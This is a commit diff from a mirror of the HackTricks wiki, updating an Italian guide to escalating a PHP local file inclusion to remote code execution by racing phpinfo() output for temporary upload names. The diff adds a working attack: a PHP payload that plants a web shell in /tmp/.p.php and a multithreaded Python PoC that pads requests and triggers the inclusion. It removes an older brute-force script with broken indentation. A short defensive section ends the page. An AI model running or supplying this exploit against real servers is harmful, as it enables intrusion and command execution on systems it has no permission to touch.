mirror of
				https://github.com/HackTricks-wiki/hacktricks.git
				synced 2025-10-10 18:36:50 +00:00 
			
		
		
		
	Translated ['src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md']
This commit is contained in:
		
							parent
							
								
									40d8d3a864
								
							
						
					
					
						commit
						c41160ecdd
					
				| @ -1,55 +1,160 @@ | ||||
| # LFI to RCE via PHPInfo | ||||
| 
 | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
| 
 | ||||
| Per sfruttare questa vulnerabilità hai bisogno di: **Una vulnerabilità LFI, una pagina dove viene visualizzato phpinfo(), "file_uploads = on" e il server deve essere in grado di scrivere nella directory "/tmp".** | ||||
| Per sfruttare questa tecnica hai bisogno di tutto quanto segue: | ||||
| - Una pagina raggiungibile che stampa l'output di phpinfo(). | ||||
| - Una Local File Inclusion (LFI) primitive che controlli (es. include/require basati su input utente). | ||||
| - Gli upload di file in PHP abilitati (file_uploads = On). Qualsiasi script PHP accetta multipart uploads RFC1867 e crea un file temporaneo per ogni parte caricata. | ||||
| - Il worker PHP deve poter scrivere nella upload_tmp_dir configurata (o nella directory temporanea di sistema di default) e la tua LFI deve poter includere quel percorso. | ||||
| 
 | ||||
| [https://www.insomniasec.com/downloads/publications/phpinfolfi.py](https://www.insomniasec.com/downloads/publications/phpinfolfi.py) | ||||
| Write-up classico e PoC originale: | ||||
| - Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011) | ||||
| - Nome script PoC originale: phpinfolfi.py (vedi whitepaper e mirrors) | ||||
| 
 | ||||
| **Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s) | ||||
| Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s | ||||
| 
 | ||||
| Devi correggere lo sfruttamento (cambiare **=>** in **=>**). Per farlo puoi fare: | ||||
| Note sul PoC originale | ||||
| - L'output di phpinfo() è codificato in HTML, quindi la freccia "=>" spesso appare come "=>". Se riutilizzi script legacy, assicurati che cerchino entrambe le codifiche quando analizzano il valore _FILES[tmp_name]. | ||||
| - Devi adattare il payload (il tuo codice PHP), REQ1 (la request verso l'endpoint phpinfo() compreso il padding) e LFIREQ (la request verso il tuo sink LFI). Alcuni target non richiedono un terminatore null-byte (%00) e le versioni moderne di PHP non lo rispetteranno. Adatta di conseguenza LFIREQ allo sink vulnerabile. | ||||
| 
 | ||||
| Esempio sed (solo se usi davvero il vecchio PoC in Python2) per corrispondere alla freccia codificata in HTML: | ||||
| ``` | ||||
| sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py | ||||
| sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py | ||||
| ``` | ||||
| Devi anche cambiare il **payload** all'inizio dell'exploit (per un php-rev-shell ad esempio), il **REQ1** (questo dovrebbe puntare alla pagina phpinfo e dovrebbe avere il padding incluso, cioè: _REQ1="""POST /install.php?mode=phpinfo\&a="""+padding+""" HTTP/1.1_), e **LFIREQ** (questo dovrebbe puntare alla vulnerabilità LFI, cioè: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Controlla il doppio "%" quando sfrutti il carattere nullo) | ||||
| 
 | ||||
| {{#file}} | ||||
| LFI-With-PHPInfo-Assistance.pdf | ||||
| {{#endfile}} | ||||
| 
 | ||||
| ### Teoria | ||||
| ## Teoria | ||||
| 
 | ||||
| Se gli upload sono consentiti in PHP e provi a caricare un file, questo file viene memorizzato in una directory temporanea fino a quando il server ha finito di elaborare la richiesta, poi questo file temporaneo viene eliminato. | ||||
| - Quando PHP riceve un POST multipart/form-data con un campo file, scrive il contenuto in un file temporaneo (upload_tmp_dir o il default del sistema operativo) ed espone il percorso in $_FILES['<field>']['tmp_name']. Il file viene rimosso automaticamente alla fine della richiesta a meno che non venga spostato/rinominato. | ||||
| - Il trucco è scoprire il nome temporaneo e includerlo tramite il tuo LFI prima che PHP lo elimini. phpinfo() stampa $_FILES, incluso tmp_name. | ||||
| - Gonfiando gli header/parametri della richiesta (padding) puoi far sì che blocchi iniziali dell'output di phpinfo() vengano inviati al client prima che la richiesta finisca, così puoi leggere tmp_name mentre il file temporaneo esiste ancora e poi immediatamente richiamare l'LFI con quel percorso. | ||||
| 
 | ||||
| Quindi, se hai trovato una vulnerabilità LFI nel server web, puoi provare a indovinare il nome del file temporaneo creato e sfruttare un RCE accedendo al file temporaneo prima che venga eliminato. | ||||
| Su Windows i file temporanei si trovano comunemente in qualcosa come C:\\Windows\\Temp\\php*.tmp. Su Linux/Unix di solito sono in /tmp o nella directory configurata in upload_tmp_dir. | ||||
| 
 | ||||
| In **Windows** i file sono solitamente memorizzati in **C:\Windows\temp\php** | ||||
| ## Flusso d'attacco (passo dopo passo) | ||||
| 
 | ||||
| In **linux** il nome del file di solito è **random** e si trova in **/tmp**. Poiché il nome è casuale, è necessario **estrarre da qualche parte il nome del file temporaneo** e accedervi prima che venga eliminato. Questo può essere fatto leggendo il valore della **variabile $\_FILES** all'interno del contenuto della funzione "**phpconfig()**". | ||||
| 
 | ||||
| **phpinfo()** | ||||
| 
 | ||||
| **PHP** utilizza un buffer di **4096B** e quando è **pieno**, viene **inviato al client**. Quindi il client può **inviare** **molte richieste grandi** (utilizzando intestazioni grandi) **caricando un php** reverse **shell**, aspettare che **la prima parte di phpinfo() venga restituita** (dove si trova il nome del file temporaneo) e provare ad **accedere al file temporaneo** prima che il server php elimini il file sfruttando una vulnerabilità LFI. | ||||
| 
 | ||||
| **Script Python per provare a forzare il nome (se la lunghezza = 6)** | ||||
| ```python | ||||
| import itertools | ||||
| import requests | ||||
| import sys | ||||
| 
 | ||||
| print('[+] Trying to win the race') | ||||
| f = {'file': open('shell.php', 'rb')} | ||||
| for _ in range(4096 * 4096): | ||||
| requests.post('http://target.com/index.php?c=index.php', f) | ||||
| 
 | ||||
| 
 | ||||
| print('[+] Bruteforcing the inclusion') | ||||
| for fname in itertools.combinations(string.ascii_letters + string.digits, 6): | ||||
| url = 'http://target.com/index.php?c=/tmp/php' + fname | ||||
| r = requests.get(url) | ||||
| if 'load average' in r.text:  # <?php echo system('uptime'); | ||||
| print('[+] We have got a shell: ' + url) | ||||
| sys.exit(0) | ||||
| 
 | ||||
| print('[x] Something went wrong, please try again') | ||||
| 1) Prepara un piccolo payload PHP che persista una shell rapidamente per evitare di perdere la race (scrivere un file è generalmente più veloce che aspettare una reverse shell): | ||||
| ``` | ||||
| <?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>'); | ||||
| ``` | ||||
| 2) Invia una grande POST multipart direttamente alla pagina phpinfo() in modo che venga creato un file temporaneo che contiene il tuo payload. Gonfia vari header/cookie/param con ~5–10KB di padding per favorire l'output anticipato. Assicurati che il nome del campo del form corrisponda a quello che parserai in $_FILES. | ||||
| 
 | ||||
| 3) Mentre la risposta di phpinfo() è ancora in streaming, analizza il corpo parziale per estrarre $_FILES['<field>']['tmp_name'] (HTML-encoded). Non appena hai il percorso assoluto completo (es., /tmp/php3Fz9aB), esegui il tuo LFI per includere quel percorso. Se include() esegue il file temporaneo prima che venga cancellato, il tuo payload viene eseguito e deposita /tmp/.p.php. | ||||
| 
 | ||||
| 4) Usa il file creato: GET /vuln.php?include=/tmp/.p.php&x=id (o dove il tuo LFI ti permette di includerlo) per eseguire comandi in modo affidabile. | ||||
| 
 | ||||
| > Suggerimenti | ||||
| > - Usa più worker concorrenti per aumentare le probabilità di vincere la race. | ||||
| > - Posizionamenti del padding che comunemente aiutano: URL parameter, Cookie, User-Agent, Accept-Language, Pragma. Adatta per il target. | ||||
| > - Se il sink vulnerabile appende un'estensione (es., .php), non hai bisogno di un null byte; include() eseguirà PHP indipendentemente dall'estensione del file temporaneo. | ||||
| 
 | ||||
| ## PoC Python 3 minimale (basato su socket) | ||||
| 
 | ||||
| Lo snippet qui sotto si concentra sulle parti critiche ed è più facile da adattare rispetto allo script legacy Python2. Personalizza HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD. | ||||
| ```python | ||||
| #!/usr/bin/env python3 | ||||
| import re, html, socket, threading | ||||
| 
 | ||||
| HOST = 'target.local' | ||||
| PORT = 80 | ||||
| PHPSCRIPT = '/phpinfo.php' | ||||
| LFIPATH = '/vuln.php?file=%s'  # sprintf-style where %s will be the tmp path | ||||
| THREADS = 10 | ||||
| 
 | ||||
| PAYLOAD = ( | ||||
| "<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n" | ||||
| ) | ||||
| BOUND = '---------------------------7dbff1ded0714' | ||||
| PADDING = 'A' * 6000 | ||||
| REQ1_DATA = (f"{BOUND}\r\n" | ||||
| f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n" | ||||
| f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n") | ||||
| 
 | ||||
| REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n" | ||||
| f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n" | ||||
| f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n" | ||||
| f"Content-Type: multipart/form-data; boundary={BOUND}\r\n" | ||||
| f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}") | ||||
| 
 | ||||
| LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n") | ||||
| 
 | ||||
| pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)") | ||||
| 
 | ||||
| 
 | ||||
| def race_once(): | ||||
| s1 = socket.socket() | ||||
| s2 = socket.socket() | ||||
| s1.connect((HOST, PORT)) | ||||
| s2.connect((HOST, PORT)) | ||||
| s1.sendall(REQ1.encode()) | ||||
| buf = b'' | ||||
| tmp = None | ||||
| while True: | ||||
| chunk = s1.recv(4096) | ||||
| if not chunk: | ||||
| break | ||||
| buf += chunk | ||||
| m = pat.search(html.unescape(buf.decode(errors='ignore'))) | ||||
| if m: | ||||
| tmp = m.group(1) | ||||
| break | ||||
| ok = False | ||||
| if tmp: | ||||
| req = (LFI % tmp).encode() % HOST.encode() | ||||
| s2.sendall(req) | ||||
| r = s2.recv(4096) | ||||
| ok = b'.p.php' in r or b'HTTP/1.1 200' in r | ||||
| s1.close(); s2.close() | ||||
| return ok | ||||
| 
 | ||||
| if __name__ == '__main__': | ||||
| hit = False | ||||
| def worker(): | ||||
| nonlocal_hit = False | ||||
| while not hit and not nonlocal_hit: | ||||
| nonlocal_hit = race_once() | ||||
| if nonlocal_hit: | ||||
| print('[+] Won the race, payload dropped as /tmp/.p.php') | ||||
| exit(0) | ||||
| ts = [threading.Thread(target=worker) for _ in range(THREADS)] | ||||
| [t.start() for t in ts] | ||||
| [t.join() for t in ts] | ||||
| ``` | ||||
| ## Risoluzione dei problemi | ||||
| - Non vedi mai tmp_name: assicurati di inviare effettivamente una POST multipart/form-data a phpinfo(). phpinfo() stampa $_FILES solo quando è presente un campo di upload. | ||||
| - L'output non viene inviato (flush) precocemente: aumenta il padding, aggiungi header più grandi o invia più richieste concorrenti. Alcuni SAPIs/buffer non svuotano l'output fino a soglie maggiori; regolati di conseguenza. | ||||
| - Percorso LFI bloccato da open_basedir o chroot: devi puntare l'LFI a un percorso consentito o passare a un diverso vettore LFI2RCE. | ||||
| - Directory temporanea non /tmp: phpinfo() stampa il percorso tmp_name assoluto completo; usa esattamente quel percorso nell'LFI. | ||||
| 
 | ||||
| ## Note difensive | ||||
| - Non esporre mai phpinfo() in produzione. Se necessario, limitarne l'accesso per IP/autenticazione e rimuoverlo dopo l'uso. | ||||
| - Mantieni file_uploads disabilitato se non necessario. Altrimenti, limita upload_tmp_dir a un percorso non raggiungibile tramite include() nell'applicazione e applica una validazione rigorosa su qualsiasi percorso include/require. | ||||
| - Considera qualsiasi LFI critico; anche senza phpinfo(), esistono altri percorsi LFI→RCE. | ||||
| 
 | ||||
| ## Tecniche HackTricks correlate | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-temp-file-uploads.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| via-php_session_upload_progress.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-nginx-temp-files.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| {{#ref}} | ||||
| lfi2rce-via-eternal-waiting.md | ||||
| {{#endref}} | ||||
| 
 | ||||
| 
 | ||||
| 
 | ||||
| ## Riferimenti | ||||
| - LFI With PHPInfo() Assistance whitepaper (2011) – mirror di Packet Storm: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf | ||||
| - Manuale PHP – caricamenti con metodo POST: https://www.php.net/manual/en/features.file-upload.post-method.php | ||||
| {{#include ../../banners/hacktricks-training.md}} | ||||
|  | ||||
		Loading…
	
	
			
			x
			
			
		
	
		Reference in New Issue
	
	Block a user